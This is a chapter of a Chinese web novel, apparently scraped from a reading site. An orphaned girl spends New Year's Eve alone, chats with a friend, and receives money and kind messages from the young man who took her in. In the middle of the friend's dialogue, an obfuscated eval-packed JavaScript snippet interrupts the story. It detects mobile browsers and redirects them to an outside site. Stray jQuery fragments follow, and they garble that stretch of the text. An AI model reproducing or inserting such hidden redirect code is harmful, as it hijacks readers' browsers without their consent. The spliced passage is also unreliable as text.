15.15

作品:《盼冬天

    时逢过年,正是阖家团圆的节日。


    今年,周燕北提前和单潆说了安排。


    “我爸妈现在在悉尼,咱们过年应该还是要过去一起。阿潆,他们说……”


    周父近些年身体有些不好,受不得冻。


    圣诞前夕,夫妻俩就已经到温暖的地区避寒去了。


    澳大利亚地处南半球,气候与海城相反。1月2月正是他们的夏季,不冷不热的,十分怡人。再加上国人也多,农历新春氛围浓厚,正适合度个新年假。


    周燕北是家中独子,和父母关系并不疏远。


    过年这种时候,当然要去和他们团聚才行。


    闻言,单潆当即了然,抢先答道:“哥哥,我留在海城就好。你们不用管我的。”


    她回答太爽快,周燕北不由得蹙起眉,“你不想和我们一起过年吗?”


    “……”


    单潆没法摇头,也无法应“是”,只能缄默。


    合家欢的日子,她一个局外人,强行介入他们一家人中,只会给团聚的喜悦平添几分尴尬。


    虽然单潆一直喊周燕北“哥哥”,虽然他们住在同一个屋檐下,但事实上,所有人都知道,他并不是她真的哥哥。


    她也不想让自己时时刻刻看起来都那么可怜。


    特别是在周燕北一家人面前。


    更想要保护仅剩的那点自尊心。


    单潆不说话,周燕北便静静凝视着她。


    “阿潆,”停顿片刻,他再次开口,“我知道你在担心什么。不用担心,他们都很想见你的。”


    周父周母并不常回海城,与单潆上次见面,已经是大半年前的事。


    当初周燕北会去云水,本就是因他父母推动的“现实教育”。两人对单潆家的情况很清楚,也知道周燕北去年去村里接她来海城的事。甚至,连转学到海实,都是用了周母那边的关系。


    小姑娘可怜得很,从小家里无父无母,剩下一些不靠谱的亲戚,更是毫无帮衬,让她小小年纪就茕茕孑立,寄人篱下。


    如今人来了周家,当然要一起过年。


    家里又不差她那一口饭。


    周母早就跟周燕北交代过,让他领着单潆一起去悉尼和他们团聚。


    还怕单潆吃不惯中年人的清淡口味,特意提醒,让他来时多带点她喜欢吃的东西,到时候让保姆帮着弄。


    只是,单潆得知了叔叔阿姨的好意,依旧还是摇头,“哥哥,我不去了。”


    周燕北看着她,“为什么呢?”


    单潆咬咬唇,轻声道:“寒假作业很多,来不及写。我没有出过国,感觉会很麻烦的,还是下次吧。”


    周燕北:“不麻烦,护照不是去年就办了吗?签证也交了资料,应该马上就能下来。”


    “……还是算了。”


    不论他怎么说,单潆的态度始终坚定。


    通常情况下,她不会忤逆周燕北的意思。


    不过,这也是因为周燕北是个非常善解人意的好哥哥,见单潆并非担忧客套,而是真真切切地不想去之后,便不再为难她。


    想了想,周燕北问:“那先送你回云水?”


    单潆思忖片刻,还是摇头,“哥哥,我待在家里,可以吗?”


    去年,因为她刚从云水来到海城,周燕北怕她初来乍到不习惯,过年前是把她送回了村子的。


    但今年寒假只有短短一个月,还有冬令营耽搁了日子,时间上有些来不及。


    现在回去,待不了几天就要回来。


    再加上海城到云水十万八千里,县里没机场,要飞机转动车,再坐车进村,来回颠簸到底也是麻烦。


    单潆不想让周燕北为她费钱费功夫,打算待在家里复习。


    听到这个答案,周燕北眉头拢起,不赞同地开口道:“过年家里没人,阿姨他们都要放假回家的。你一个人,我不放心。”


    单潆笑起来,“哥哥,没关系,我又不是小孩子了。”


    就算是在白云村,过去那些年月,她也没有多在乎过年,甚至还有些讨厌这个节日。


    村子里年味比城市浓厚许多,有些传统习俗是再穷再苦都不能放下的。


    特别是过年,每家每户的琐事尤为多。


    单潆虽然年纪小,却要帮着表叔家做这做那。什么力气活都让她一个小孩去帮忙,表哥他们就躺在沙发上看电视。


    等走亲戚的时候,但凡有人见了她,必然要对她点评几句。


    且,并非是关于学业和生活上的批评。


    在村里人看来,小姑娘嘛,念书再好也没用,总是要嫁人的,还不如早早去学采茶,或者学个什么手艺,以后好帮衬夫家。


    许是出于这种陈旧思想,关于单潆的话题,大多逃不开她父母意外身故的往事。


    云水这一片向来是有些封建迷信传统的。


    过去,像单潆这样年幼就父母双亡、祖辈也都已经亡故的情况,就会被认为是她的命格不好,会有天煞孤星克死双亲之类的说法。


    直至时下,始终都未曾改变。


    若不是听到长辈嚼舌根,单以她两个表哥那样的小孩,也想不出这样恶毒的说辞来嘲笑她欺负她。


    单潆抿了抿唇,将往事抛之脑后,轻声同周燕北说:“哥哥,我真的没问题。我会自己照顾自己,我还会洗碗做菜打扫房间,什么都会的。你就放心吧。”


    闻言,周燕北轻声叹息,“我反而不希望你会这么多。”


    这只能代表,单潆是真的吃过很多苦。


    思及此,周燕北轻轻摸了摸单潆的头发,温言道:“阿潆,哥哥不强迫你。不过距离出发还有几天,如果你改变主意的话,第一时间告诉我,好不好?”


    单潆:“好。”


    “阿潆真乖。”


    周燕北夸了一句,接着,随手从旁边的糖果盘上抓了一把大白兔奶糖,塞到她的毛衣衣兜里,“少吃点糖,别把牙吃坏了。”


    ……


    最终,单潆得偿所愿,一个人留在海城过年。


    周家的大别墅里,司机厨师都已经放假回家。


    在保姆阿姨临走前,周燕北让她买了满满一冰箱的食物准备着。外加各种零食饮料小吃速食,几乎快要堆满储藏间。


    转眼,来到除夕当天。


    早上十点多,单潆从柔软舒适的床上醒过来。


    此刻,外面是海城少见的冬日暖阳,阳光顺着窗帘缝隙偷偷溜进来,撒下一地碎金。


    房间里温暖如春,舒服到无以复加。


    她心中没有浮起任何孤寂情绪,在被子上滚了两圈,难得懒懒散散地起身,趿着拖鞋下楼。


    冰箱里有阿姨提前包好的蛋饺,每份六个,分装在密封袋里。


    这是海城年夜饭的必备食材。


    单潆拿了一份出来,煮了锅冬笋蛋饺粉丝汤,随便下点青菜、丸子、咸肉片。再按照自己的口味,辅以剁椒之类调味,就是非常丰盛的一顿。


    吃完之后,她给兔子喂了饭,玩了会儿手机,然后就去书房写寒假作业。


    晚餐差不多也是如此。


    客厅电视已经打开,正播放着春晚预热节目。


    主持人喜庆的声音传出来,连大别墅都连带变得热闹了许多。


    单潆人在厨房,一边跟舒黛语音,听着她叽叽喳喳,一边慢吞吞地准备着年夜饭。


    舒黛:“……每回放假就是要受成绩的折磨啊!因为舒航这个讨厌鬼,我都不敢去客厅,只能躲在房间里,免得被他们念叨……啊!好烦!……”


    单潆好脾气地笑笑,安慰她道:“那就在房间玩手机嘛,等到发压岁钱的时候再出去好了。说不定舒航被拉着问东问西,心里也觉得很烦呢。”


    舒黛:“那倒也是。他这人很高冷的,应付亲戚对他来说也是折磨。单


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066470|193287||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    单你呢?你一个人在家吃什么呀?要不要上我家来一起吃年夜饭?”


    自打她得知单潆没去澳洲之后,已经不厌其烦地发出了好几次年夜饭邀请。


    单潆依旧果断拒绝。


    “我已经准备好咯!”


    她笑眯眯地答道。


    冷藏里还有一些半成品和冷菜,都是周燕北提前让人买来的,拿出来装个盘、或是简单加热一下就能吃。


    零零总总一共摆了六道。


    种类丰富,又有荤有素,看起来还算色香味俱全。


    单潆先给自己的年夜饭摆拍了个照片,又将语音转成视频,拿给舒黛看。


    屏幕里,舒黛仔仔细细地研究了一圈,这才放下心来,假装勉强地颔首道:“看起来好像还可以嘛。”


    “当然。”


    那几个半成品都是星级酒店的大厨做的,看着确实很不错。


    舒黛:“不过单单,我还是不理解,为什么你不跟你哥一起去啊?他对你不好吗?”


    话音落下,镜头背后,单潆瞬间敛了笑。


    视频里只剩下电视机的背景声。


    她沉默良久。


    继而,才淡声开口:“他特别特别好。是我觉得身份有点尴尬啦。再说了,去国外那么远,就那么几天,我不想给他添麻烦。”


    舒黛想了想,整张脸皱成一团,闷闷地应道:“好吧好吧,我搞不懂你们的关系……唔,舒航?!你怎么不敲门就进来了?!”


    说话间,她扭过身,拿手机的手晃了晃,舒航的脸便从屏幕角落冒出来。


    紧接着,少年冷淡的声音响起:“老妈叫你出来吃春卷。”


    “知道了知道了。”


    舒黛不耐烦地嘀咕了几句,“单单,那我先出去啦,除夕快乐!”


    单潆:“除夕快乐!”


    说完,她朝舒黛摆摆手,余光注意到舒航似乎也在看这边,便也顺便朝他笑了笑。


    “……”


    视频切断。


    微信退回聊天页面。


    这会儿功夫,未读消息冒出来好几条。


    大多都是同学好友的群发祝福,还有之前的家教老师等等。


    单潆一条一条回复过去,想到什么,顺手又给老村长打了个电话。


    时逢除夕,村里忙得不得了,背景一片嘈杂。


    两人没时间多聊,单潆按礼貌送上问候,说暑假再回去看他,很快就结束语音。


    最后,单潆才打开和周燕北的聊天框。


    这是一条需要字斟句酌的消息。


    她蹙着眉,一个字一个字地思考着措辞。


    反反复复修改了五分钟,终于缓缓按下发送键。


    单潆:【哥哥,祝你新年快乐!很感谢你为我做的一切,明年我会更加努力学习的!】


    悉尼和海城有时差。


    这个点,应该快要到那边的晚上10点。


    周燕北肯定还没有休息。


    ……不过,既然是除夕跨年夜的话,他应该本来就不会睡吧?


    只是不知道他在忙什么,没有马上回复。


    单潆放下手机,拿起筷子吃饭。


    间或,惴惴不安地看一眼手机屏幕,确认它没有亮起,她又继续陷入等待中。


    ……


    北京时间20点05分。


    春晚即将开始。


    周燕北的消息随之跳出来。


    哥哥:【[转账¥5000.00]】


    哥哥:【[转账¥5000.00]】


    哥哥:【[转账¥5000.00]】


    哥哥:【[转账¥5000.00]】


    哥哥:【压岁钱,随便花。】


    哥哥:【无论你努不努力,都是我的阿潆。希望你以后的每一天都能过得开心幸福,这样就足够了。】


    哥哥:【新年快乐^ ^】